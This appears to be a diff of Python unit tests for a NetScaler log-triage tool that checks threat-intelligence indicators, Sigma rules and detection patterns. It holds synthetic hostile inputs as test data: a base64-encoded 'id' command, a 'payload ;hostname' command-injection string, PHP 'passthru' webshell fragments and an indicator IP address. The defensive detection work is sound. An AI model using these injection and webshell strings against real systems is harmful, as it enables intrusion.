domain = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "domain")
|
||||||
|
self.assertTrue(self.matched("domain", "sub." + domain.upper()))
|
||||||
|
for value in ("evil" + domain, domain + ".invalid", domain + "-suffix"):
|
||||||
|
self.assertFalse(self.matched("domain", value))
|
||||||
|
|
||||||
|
def test_path_boundaries_case_and_url_embedding(self) -> None:
|
||||||
|
value = "/tmp/lula"
|
||||||
|
self.assertTrue(self.matched("path", value))
|
||||||
|
self.assertTrue(self.matched("path", "https://example.invalid" + value))
|
||||||
|
for other in (value + ".backup", value + "-longer", "/other" + value, value.upper()):
|
||||||
|
self.assertFalse(self.matched("path", other))
|
||||||
|
self.assertTrue(self.matched("path", "/directory/LoginIcon.sig"))
|
||||||
|
self.assertFalse(self.matched("path", "/directory/LoginIcon.sig.backup"))
|
||||||
|
self.assertFalse(self.matched("path", "/directory/loginicon.sig"))
|
||||||
|
|
||||||
|
def test_urls_preserve_path_case_and_reject_extension(self) -> None:
|
||||||
|
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "url")
|
||||||
|
parsed = urlsplit(value)
|
||||||
|
authority = parsed.scheme + "://" + parsed.netloc
|
||||||
|
self.assertTrue(self.matched("url", authority.upper() + value[len(authority) :]))
|
||||||
|
for suffix in ("-longer", ".backup", "/extra"):
|
||||||
|
self.assertFalse(self.matched("url", value + suffix))
|
||||||
|
if any(char.isalpha() for char in parsed.path):
|
||||||
|
self.assertFalse(self.matched("url", authority + value[len(authority) :].upper()))
|
||||||
|
|
||||||
|
def test_hashes_require_token_boundaries(self) -> None:
|
||||||
|
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "sha256")
|
||||||
|
self.assertTrue(self.matched("sha256", value.upper()))
|
||||||
|
self.assertFalse(self.matched("sha256", "f" + value))
|
||||||
|
self.assertFalse(self.matched("sha256", value + "z"))
|
||||||
|
|
||||||
|
|
||||||
|
class PublicLongLineTests(unittest.TestCase):
|
||||||
|
def test_encoded_loader_bounds_long_negative_and_positive_lines(self) -> None:
|
||||||
|
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||||
|
matcher = SigmaMatcher.from_yaml(content)
|
||||||
|
loader = next(
|
||||||
|
rule for rule in matcher.rules if rule.metadata["name"] == "sygnia-encoded-loader"
|
||||||
|
)
|
||||||
|
long_encoded = "QUJD" * 200000
|
||||||
|
self.assertFalse(loader.predicate({"raw": long_encoded}))
|
||||||
|
self.assertTrue(loader.predicate({"raw": long_encoded + " NSPPE base64 httpaccess"}))
|
||||||
|
self.assertTrue(loader.predicate({"raw": "first line\nNSPPE base64 httpaccess"}))
|
||||||
|
self.assertFalse(loader.predicate({"raw": "NSPPE\nbase64 httpaccess"}))
|
||||||
|
|
||||||
|
def test_crash_lookahead_long_negatives_and_line_semantics(self) -> None:
|
||||||
|
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||||
|
matcher = SigmaMatcher.from_yaml(content)
|
||||||
|
crash = next(
|
||||||
|
rule
|
||||||
|
for rule in matcher.rules
|
||||||
|
if rule.metadata["name"] == "elastic-inspired-crash-shell"
|
||||||
|
)
|
||||||
|
for text in ("QUJD" * 200000, "pitboss; " + "packet " * 100000):
|
||||||
|
self.assertFalse(crash.predicate({"raw": text}))
|
||||||
|
self.assertTrue(crash.predicate({"raw": "QUJD" * 200000 + " pitboss NSPPE;"}))
|
||||||
|
self.assertTrue(crash.predicate({"raw": "first\npitboss packet engine;"}))
|
||||||
|
self.assertFalse(crash.predicate({"raw": "pitboss packet\nengine;"}))
|
||||||
|
self.assertFalse(crash.predicate({"raw": "pitboss engine packet;"}))
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
"""Bundled public references work offline without incident-specific configuration."""
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
from netscaler_triage.matching import Matcher, load_config, public_config
|
||||||
|
|
||||||
|
|
||||||
|
class PublicDefaultsTests(unittest.TestCase):
|
||||||
|
def test_packaged_references_have_sources_and_only_public_addresses(self) -> None:
|
||||||
|
config = public_config()
|
||||||
|
sources = {row["id"] for row in config["sources"]}
|
||||||
|
self.assertGreaterEqual(len(sources), 37)
|
||||||
|
self.assertGreaterEqual(len(config["indicators"]), 35)
|
||||||
|
self.assertGreaterEqual(len(config["patterns"]), 9)
|
||||||
|
for indicator in config["indicators"]:
|
||||||
|
self.assertEqual(indicator["status"], "reference_only")
|
||||||
|
self.assertTrue(set(indicator["source_ids"]) <= sources)
|
||||||
|
if indicator["type"] == "ipv4":
|
||||||
|
self.assertTrue(ipaddress.ip_address(indicator["value"]).is_global)
|
||||||
|
|
||||||
|
def test_default_public_ioc_and_pattern_matching(self) -> None:
|
||||||
|
matcher = Matcher([])
|
||||||
|
_, indicators = matcher.search("peer 143.198.7.94:443")
|
||||||
|
self.assertTrue(any("mandiant" in row["source_ids"] for row in indicators))
|
||||||
|
_, _, details = matcher.search_with_details("HTTP_NSC_CLIENTTYPE")
|
||||||
|
self.assertTrue(any(row.get("name") == "ti_shell_headers" for row in details))
|
||||||
|
|
||||||
|
def test_explicit_duplicate_config_does_not_duplicate_matches(self) -> None:
|
||||||
|
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
|
||||||
|
self.assertEqual(Matcher([]).search(text), Matcher([public_config()]).search(text))
|
||||||
|
|
||||||
|
def test_default_opt_out_keeps_explicit_configuration(self) -> None:
|
||||||
|
text = "peer 143.198.7.94:443 HTTP_NSC_CLIENTTYPE"
|
||||||
|
self.assertEqual(Matcher([], defaults=False).search(text), ([], []))
|
||||||
|
self.assertTrue(Matcher([public_config()], defaults=False).search(text)[1])
|
||||||
|
|
||||||
|
def test_scan_without_config_retains_reference_provenance(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
source = root / "logs"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
|
||||||
|
result = scan([("adc", source)], root / "out", [])
|
||||||
|
self.assertEqual(result["counts"]["findings"], 1)
|
||||||
|
event = json.loads((root / "out/findings.jsonl").read_text())
|
||||||
|
hit = next(row for row in event["indicator_matches"] if row["value"] == "143.198.7.94")
|
||||||
|
self.assertEqual(hit["status"], "reference_only")
|
||||||
|
self.assertIn("mandiant", hit["source_ids"])
|
||||||
|
|
||||||
|
def test_own_ioc_csv_can_be_reused_as_configuration(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
source = root / "logs"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "network.log").write_text("peer 143.198.7.94:443\n", encoding="utf-8")
|
||||||
|
scan([("adc", source)], root / "out", [])
|
||||||
|
config = load_config(root / "out/IOCS.csv")
|
||||||
|
_, hits = Matcher([config], defaults=False).search("peer 143.198.7.94:443")
|
||||||
|
hit = next(row for row in hits if row["value"] == "143.198.7.94")
|
||||||
|
self.assertEqual(hit["type"], "ipv4")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
"""Keep public package sources and release inclusion rules free of case data."""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import tomllib
|
||||||
|
import unittest
|
||||||
|
from importlib.resources import files
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
class ReleaseHygieneTests(unittest.TestCase):
|
||||||
|
def test_public_package_and_explicit_release_allowlist(self) -> None:
|
||||||
|
package = files("netscaler_triage")
|
||||||
|
personal = re.compile(
|
||||||
|
r"/(?:Users|home)/[^\s/]+|[A-Za-z]:[\\/]Users[\\/][^\s\\/]+"
|
||||||
|
r"|(?im:^[ \t]*(?:Bearbeitung|Prepared by|Analyst|Investigator|Customer|Case ID)\s*:)"
|
||||||
|
)
|
||||||
|
stack = [package]
|
||||||
|
while stack:
|
||||||
|
directory = stack.pop()
|
||||||
|
for entry in directory.iterdir():
|
||||||
|
if entry.is_dir() and entry.name != "__pycache__":
|
||||||
|
stack.append(entry)
|
||||||
|
elif entry.name.endswith((".py", ".json", ".yml", ".yaml")):
|
||||||
|
self.assertIsNone(
|
||||||
|
personal.search(entry.read_text(encoding="utf-8")), entry.name
|
||||||
|
)
|
||||||
|
public = json.loads(package.joinpath("data", "threat_intel.json").read_text())
|
||||||
|
sources = {entry["id"] for entry in public["sources"]}
|
||||||
|
for indicator in public["indicators"]:
|
||||||
|
self.assertEqual(indicator["status"], "reference_only")
|
||||||
|
self.assertTrue(set(indicator["source_ids"]) <= sources)
|
||||||
|
|
||||||
|
# Installed-wheel tests lack repository metadata; package checks above still run.
|
||||||
|
project = Path(__file__).resolve().parents[1] / "pyproject.toml"
|
||||||
|
if project.is_file():
|
||||||
|
config = tomllib.loads(project.read_text(encoding="utf-8"))
|
||||||
|
allowed = {
|
||||||
|
"src/",
|
||||||
|
"tests/",
|
||||||
|
"typing_stubs/",
|
||||||
|
"examples/",
|
||||||
|
"README.txt",
|
||||||
|
"README.md",
|
||||||
|
"RULES.txt",
|
||||||
|
"VALIDATION.txt",
|
||||||
|
"THREAT_INTELLIGENCE.txt",
|
||||||
|
"LICENSE.txt",
|
||||||
|
"config/threat_intel.json",
|
||||||
|
"uv.lock",
|
||||||
|
".python-version",
|
||||||
|
".gitignore",
|
||||||
|
"pyproject.toml",
|
||||||
|
}
|
||||||
|
ignore = (project.parent / ".gitignore").read_text().splitlines()
|
||||||
|
self.assertTrue({"private/", "/private/"} & set(ignore))
|
||||||
|
included = set(config["tool"]["hatch"]["build"]["targets"]["sdist"]["include"])
|
||||||
|
self.assertFalse(any("private" in entry for entry in included))
|
||||||
|
self.assertTrue(
|
||||||
|
included <= allowed, f"Unreviewed release include entries: {included - allowed}"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
"""Regression checks for independent review findings; synthetic evidence only."""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import csv
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
from netscaler_triage.matching import Matcher
|
||||||
|
|
||||||
|
|
||||||
|
class ReviewTests(unittest.TestCase):
|
||||||
|
def test_ipv4_with_port_and_embedded_address_boundary(self) -> None:
|
||||||
|
matcher = Matcher(
|
||||||
|
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
self.assertTrue(matcher.search("http://192.0.2.1:443/a")[1])
|
||||||
|
self.assertFalse(matcher.search("192.0.2.10:443")[1])
|
||||||
|
self.assertFalse(matcher.search("1192.0.2.1")[1])
|
||||||
|
|
||||||
|
def test_base64_query_without_percent_encoding(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
source = root / "logs"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "access.log").write_text(
|
||||||
|
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||||
|
'"GET /test?x=aWQ= HTTP/1.1" 403 0 "-" "ordinary"\n',
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
result = scan(
|
||||||
|
[("appliance", source)],
|
||||||
|
root / "out",
|
||||||
|
[{"patterns": [{"id": "decoded_id", "pattern": "^id$"}]}],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
self.assertEqual(result["counts"].get("findings", 0), 1)
|
||||||
|
|
||||||
|
def test_authorized_status_survives_ioc_export(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
source = root / "logs"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "access.log").write_text(
|
||||||
|
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||||
|
'"GET /test HTTP/1.1" 403 0 "-" "ordinary"\n',
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
scan(
|
||||||
|
[("appliance", source)],
|
||||||
|
root / "out",
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"indicators": [
|
||||||
|
{"type": "ipv4", "value": "192.0.2.1", "status": "authorized_test"}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
with (root / "out/IOCS.csv").open(encoding="utf-8", newline="") as handle:
|
||||||
|
rows = list(csv.DictReader(handle))
|
||||||
|
match = next(row for row in rows if row["value"] == "192.0.2.1")
|
||||||
|
self.assertIn("authorized_test", match["status"])
|
||||||
|
|
||||||
|
def test_incomplete_decoding_marks_partial_analysis(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
source = root / "logs"
|
||||||
|
source.mkdir()
|
||||||
|
payload = "x:" + base64.b64encode(b"hostname " * 50).decode() + "%20"
|
||||||
|
(source / "payload.log").write_text(payload + "\n", encoding="utf-8")
|
||||||
|
result = scan(
|
||||||
|
[("appliance", source)],
|
||||||
|
root / "out",
|
||||||
|
[{"patterns": [{"id": "candidate", "pattern": "^x:"}]}],
|
||||||
|
defaults=False,
|
||||||
|
max_line_bytes=1024,
|
||||||
|
)
|
||||||
|
self.assertEqual(result["status"], "partial")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
from netscaler_triage.matching import Matcher
|
||||||
|
|
||||||
|
|
||||||
|
class RuleDetailsTests(unittest.TestCase):
|
||||||
|
def test_shared_rule_keeps_both_source_descriptions_without_duplicate_regex(self) -> None:
|
||||||
|
matcher = Matcher(
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"patterns": [
|
||||||
|
{
|
||||||
|
"id": "shared",
|
||||||
|
"pattern": "signal",
|
||||||
|
"description": "Source one",
|
||||||
|
"source": "REF-1",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "shared",
|
||||||
|
"pattern": "signal",
|
||||||
|
"description": "Source two",
|
||||||
|
"source": "REF-2",
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
self.assertEqual(len(matcher.rules), 1)
|
||||||
|
_, _, details = matcher.search_with_details("signal")
|
||||||
|
self.assertEqual({row["source"] for row in details}, {"REF-1", "REF-2"})
|
||||||
|
|
||||||
|
def test_default_descriptions_and_compatible_search(self) -> None:
|
||||||
|
matcher = Matcher([], defaults=True)
|
||||||
|
ids, hits = matcher.search("payload ;hostname")
|
||||||
|
detailed_ids, detailed_hits, details = matcher.search_with_details("payload ;hostname")
|
||||||
|
self.assertEqual((ids, hits), (detailed_ids, detailed_hits))
|
||||||
|
self.assertTrue(
|
||||||
|
any(row.get("name") == "command_injection" and row["description"] for row in details)
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_same_id_does_not_attribute_unmatched_description(self) -> None:
|
||||||
|
matcher = Matcher(
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"patterns": [
|
||||||
|
{
|
||||||
|
"id": "custom",
|
||||||
|
"pattern": "MATCH_ME",
|
||||||
|
"description": "Matched explanation",
|
||||||
|
"source": "https://example.org/source",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "custom",
|
||||||
|
"pattern": "NEVER_MATCH",
|
||||||
|
"description": "Must not be attributed",
|
||||||
|
"source": "https://example.org/other",
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
ids, _, details = matcher.search_with_details("MATCH_ME")
|
||||||
|
self.assertEqual(ids, ["custom"])
|
||||||
|
self.assertEqual(len(details), 1)
|
||||||
|
self.assertEqual(details[0]["description"], "Matched explanation")
|
||||||
|
self.assertEqual(details[0]["source"], "https://example.org/source")
|
||||||
|
|
||||||
|
def test_decoded_rule_metadata_reaches_findings(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "http.log").write_text(
|
||||||
|
'192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "GET /?x=aWQ%3D HTTP/1.1" '
|
||||||
|
'404 0 "-" "ua"\n'
|
||||||
|
)
|
||||||
|
config = {
|
||||||
|
"patterns": [
|
||||||
|
{
|
||||||
|
"id": "decoded-id",
|
||||||
|
"pattern": "^id$",
|
||||||
|
"description": "The decoded value is the id command; execution is not "
|
||||||
|
"established.",
|
||||||
|
"source_id": "REF-1",
|
||||||
|
"source": "https://example.org/advisory",
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
scan([("ADC", logs)], root / "out", [config], defaults=False)
|
||||||
|
events = [
|
||||||
|
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
|
||||||
|
]
|
||||||
|
self.assertEqual(len(events), 1)
|
||||||
|
self.assertEqual(events[0]["rules"], ["decoded-id"])
|
||||||
|
self.assertEqual(events[0]["rule_details"], config["patterns"])
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,132 @@
|
|||||||
|
import hashlib
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from contextlib import redirect_stderr, redirect_stdout
|
||||||
|
from importlib.resources import files
|
||||||
|
from pathlib import Path
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
from netscaler_triage.cli import main
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
from netscaler_triage.matching import Matcher, load_config, public_config
|
||||||
|
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher
|
||||||
|
|
||||||
|
RULE = """title: Decoded command with request context
|
||||||
|
id: 283224da-7d4b-4436-a564-bf16e14b2536
|
||||||
|
logsource:
|
||||||
|
product: netscaler
|
||||||
|
service: http_access
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
uri|startswith: /vpn/
|
||||||
|
raw|re: '^id$'
|
||||||
|
excluded:
|
||||||
|
uri|endswith: /health?x=aWQ%3D
|
||||||
|
condition: selection and not excluded
|
||||||
|
falsepositives:
|
||||||
|
- Authorized diagnostic requests require analyst review.
|
||||||
|
level: medium
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def write_requests(logs: Path) -> None:
|
||||||
|
logs.mkdir()
|
||||||
|
lines = [
|
||||||
|
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||||
|
f'"GET {uri} HTTP/1.1" 403 0 "-" "synthetic-agent"\n'
|
||||||
|
for uri in ("/vpn/test?x=aWQ%3D", "/vpn/health?x=aWQ%3D", "/other?x=aWQ%3D")
|
||||||
|
]
|
||||||
|
(logs / "httpaccess.log").write_text("".join(lines), encoding="utf-8")
|
||||||
|
|
||||||
|
|
||||||
|
def findings(output: Path) -> list[dict[str, object]]:
|
||||||
|
return [json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()]
|
||||||
|
|
||||||
|
|
||||||
|
class SigmaIntegrationTests(unittest.TestCase):
|
||||||
|
def test_cli_yaml_structured_context_decoded_and_negation(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
logs, output, rules = root / "logs", root / "results", root / "rules.yml"
|
||||||
|
write_requests(logs)
|
||||||
|
rules.write_text(RULE, encoding="utf-8")
|
||||||
|
with redirect_stdout(io.StringIO()), redirect_stderr(io.StringIO()):
|
||||||
|
code = main(
|
||||||
|
[
|
||||||
|
"scan",
|
||||||
|
"--input",
|
||||||
|
f"ADC={logs}",
|
||||||
|
"--output",
|
||||||
|
str(output),
|
||||||
|
"--config",
|
||||||
|
str(rules),
|
||||||
|
"--no-default-patterns",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
self.assertEqual(code, 0)
|
||||||
|
rows = findings(output)
|
||||||
|
matches = [row for row in rows if row.get("rules")]
|
||||||
|
self.assertEqual(len(matches), 1)
|
||||||
|
self.assertEqual(matches[0]["line"], 1)
|
||||||
|
details = matches[0]["rule_details"]
|
||||||
|
self.assertIsInstance(details, list)
|
||||||
|
assert isinstance(details, list)
|
||||||
|
self.assertTrue(any("decoded:" in str(detail["basis"]) for detail in details))
|
||||||
|
self.assertIn("sigma_decoded_views", matches[0])
|
||||||
|
self.assertTrue(all(detail["source"] == "rules.yml" for detail in details))
|
||||||
|
views, layers = matches[0]["sigma_decoded_views"], matches[0]["decoding"]
|
||||||
|
assert isinstance(views, list) and isinstance(layers, list)
|
||||||
|
for detail in details:
|
||||||
|
for basis in detail["basis"]:
|
||||||
|
if basis.startswith("decoded:"):
|
||||||
|
index = int(basis.split(":", 1)[1])
|
||||||
|
self.assertEqual(layers[views[index]]["output"], "id")
|
||||||
|
|
||||||
|
def test_decoded_sha256_is_a_structured_sigma_field(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
logs, output, rules = root / "logs", root / "results", root / "hash.yml"
|
||||||
|
write_requests(logs)
|
||||||
|
digest = hashlib.sha256(b"id").hexdigest()
|
||||||
|
rules.write_text(
|
||||||
|
"title: Synthetic decoded hash\nlogsource: {product: netscaler}\n"
|
||||||
|
f"detection:\n selection:\n SHA256: '{digest}'\n condition: selection\n",
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
scan([("ADC", logs)], output, [load_config(rules)], defaults=False)
|
||||||
|
matched = [row for row in findings(output) if row.get("rules")]
|
||||||
|
self.assertEqual(len(matched), 3)
|
||||||
|
self.assertTrue(all("Synthetic decoded hash" in str(row["rules"]) for row in matched))
|
||||||
|
|
||||||
|
def test_public_pack_parses_and_loads_by_default(self) -> None:
|
||||||
|
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||||
|
pack = SigmaMatcher.from_yaml(content, source="public_sigma.yml")
|
||||||
|
self.assertGreaterEqual(len(pack.rules), 22)
|
||||||
|
self.assertEqual(pack.indicators, public_config()["indicators"])
|
||||||
|
matcher = Matcher([])
|
||||||
|
hits = matcher.search_sigma({"raw": "<?php passthru('synthetic');", "kind": "http_access"})
|
||||||
|
self.assertTrue(hits)
|
||||||
|
self.assertTrue(all(hit["source"] == "public_sigma.yml" for hit in hits))
|
||||||
|
|
||||||
|
def test_sigma_limit_marks_partial_and_continues(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
logs, output = root / "logs", root / "results"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "messages").write_text("first\nsecond\n", encoding="utf-8")
|
||||||
|
with patch.object(
|
||||||
|
Matcher, "search_sigma", side_effect=[SigmaEvaluationLimit("limit"), []]
|
||||||
|
):
|
||||||
|
result = scan([("ADC", logs)], output, [], defaults=False, extract_all=True)
|
||||||
|
self.assertEqual(result["status"], "partial")
|
||||||
|
self.assertEqual(result["counts"]["records"], 2)
|
||||||
|
self.assertEqual(result["counts"]["matching_errors"], 1)
|
||||||
|
rows = findings(output)
|
||||||
|
self.assertTrue(rows[0]["analysis_errors"])
|
||||||
|
self.assertEqual(rows[1]["raw"], "second")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,173 @@
|
|||||||
|
import unittest
|
||||||
|
|
||||||
|
from netscaler_triage.sigma_rules import SigmaEvaluationLimit, SigmaMatcher, UnsupportedSigma
|
||||||
|
|
||||||
|
|
||||||
|
def rule(detection: str, service: str = "") -> str:
|
||||||
|
return (
|
||||||
|
"title: Local test\nlogsource:\n product: netscaler\n"
|
||||||
|
+ service
|
||||||
|
+ "detection:\n"
|
||||||
|
+ detection
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class SigmaTests(unittest.TestCase):
|
||||||
|
def test_catalog_not_repeated_in_hit(self) -> None:
|
||||||
|
text = rule(" s: [abc]\n condition: s\n")
|
||||||
|
text += "indicators:\n - type: ipv4\n value: 192.0.2.1\n status: reference_only\n"
|
||||||
|
text += "indicator_status: reference_only\n"
|
||||||
|
matcher = SigmaMatcher.from_yaml(text)
|
||||||
|
self.assertEqual(matcher.indicators[0]["value"], "192.0.2.1")
|
||||||
|
hit = matcher.search_with_details({"raw": "abc"})[0]
|
||||||
|
self.assertEqual(hit["custom_attributes"], {"indicator_status": "reference_only"})
|
||||||
|
with self.assertRaises(UnsupportedSigma):
|
||||||
|
SigmaMatcher.from_yaml(text.replace("value: 192.0.2.1", "value: 123"))
|
||||||
|
|
||||||
|
def test_evaluation_bounds(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(rule(" s: [abc]\n condition: s\n"))
|
||||||
|
with self.assertRaises(SigmaEvaluationLimit):
|
||||||
|
matcher.search({"raw": "x" * 1048577})
|
||||||
|
with self.assertRaises(SigmaEvaluationLimit):
|
||||||
|
matcher.search({"raw": "abc"}, ["abc"] * 65)
|
||||||
|
with self.assertRaises(SigmaEvaluationLimit):
|
||||||
|
matcher.search({"raw": "abc"}, ["x" * 1048577])
|
||||||
|
|
||||||
|
def test_boolean_and_keywords(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(
|
||||||
|
" selection: [alpha, beta]\n exclude: [benign]\n"
|
||||||
|
" condition: selection and not exclude\n"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
self.assertTrue(matcher.search({"raw": "prefix ALPHA suffix"}))
|
||||||
|
self.assertFalse(matcher.search({"raw": "alpha benign"}))
|
||||||
|
self.assertFalse(matcher.search({"raw": "other"}))
|
||||||
|
|
||||||
|
def test_modifiers_fields_and_all(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(
|
||||||
|
" s:\n uri|startswith: /vpn/\n user_agent|contains|all: [curl, exploit]\n"
|
||||||
|
" source_ip|endswith: '.1'\n condition: s\n"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
event = {"fields": {"uri": "/vpn/a", "user_agent": "CURL exploit", "src": "192.0.2.1"}}
|
||||||
|
self.assertTrue(matcher.search(event))
|
||||||
|
self.assertFalse(
|
||||||
|
matcher.search({"fields": {"uri": "/vpn/a", "user_agent": "curl", "src": "192.0.2.1"}})
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_selectors_and_wildcard_escaping(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(
|
||||||
|
" sel_a: {uri: '/a*'}\n sel_b: {user_agent: 'agent?'}\n"
|
||||||
|
" condition: all of sel_*\n"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
self.assertTrue(matcher.search({"uri": "/abcdef", "user_agent": "agentX"}))
|
||||||
|
self.assertFalse(matcher.search({"uri": "/abcdef", "user_agent": "agentXY"}))
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(" sel_a: {uri: '/literal\\*'}\n sel_b: [other]\n condition: 1 of sel_*\n")
|
||||||
|
)
|
||||||
|
self.assertTrue(matcher.search({"uri": "/literal*"}))
|
||||||
|
self.assertFalse(matcher.search({"uri": "/literalanything"}))
|
||||||
|
|
||||||
|
def test_regex_service_and_decoded_basis(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(
|
||||||
|
rule(
|
||||||
|
" s:\n raw|re: '(?i)passthru\\s*\\('\n condition: s\n",
|
||||||
|
" service: http_access\n",
|
||||||
|
),
|
||||||
|
source="test.yml",
|
||||||
|
)
|
||||||
|
hits = matcher.search_with_details(
|
||||||
|
{"raw": "encoded bytes", "kind": "http_access"}, ["passthru('id')"]
|
||||||
|
)
|
||||||
|
self.assertEqual(hits[0]["basis"], ["decoded:0"])
|
||||||
|
self.assertEqual(hits[0]["source"], "test.yml")
|
||||||
|
self.assertFalse(matcher.search({"raw": "passthru('id')", "kind": "syslog"}))
|
||||||
|
|
||||||
|
def test_regex_case_is_not_string_case(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(rule(" s: {raw|re: Alpha}\n condition: s\n"))
|
||||||
|
self.assertTrue(matcher.search({"raw": "Alpha"}))
|
||||||
|
self.assertFalse(matcher.search({"raw": "alpha"}))
|
||||||
|
|
||||||
|
def test_structured_only_match_is_not_attributed_to_decoding(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(rule(" s: {SHA256: [abc, def]}\n condition: s\n"))
|
||||||
|
hits = matcher.search_with_details({"sha256": ["def"], "raw": "original"}, ["decoded"])
|
||||||
|
self.assertEqual(hits[0]["basis"], ["raw"])
|
||||||
|
|
||||||
|
def test_null_numeric_and_missing_fields(self) -> None:
|
||||||
|
matcher = SigmaMatcher.from_yaml(rule(" s: {status: 200, absent: null}\n condition: s\n"))
|
||||||
|
self.assertTrue(matcher.search({"status": 200}))
|
||||||
|
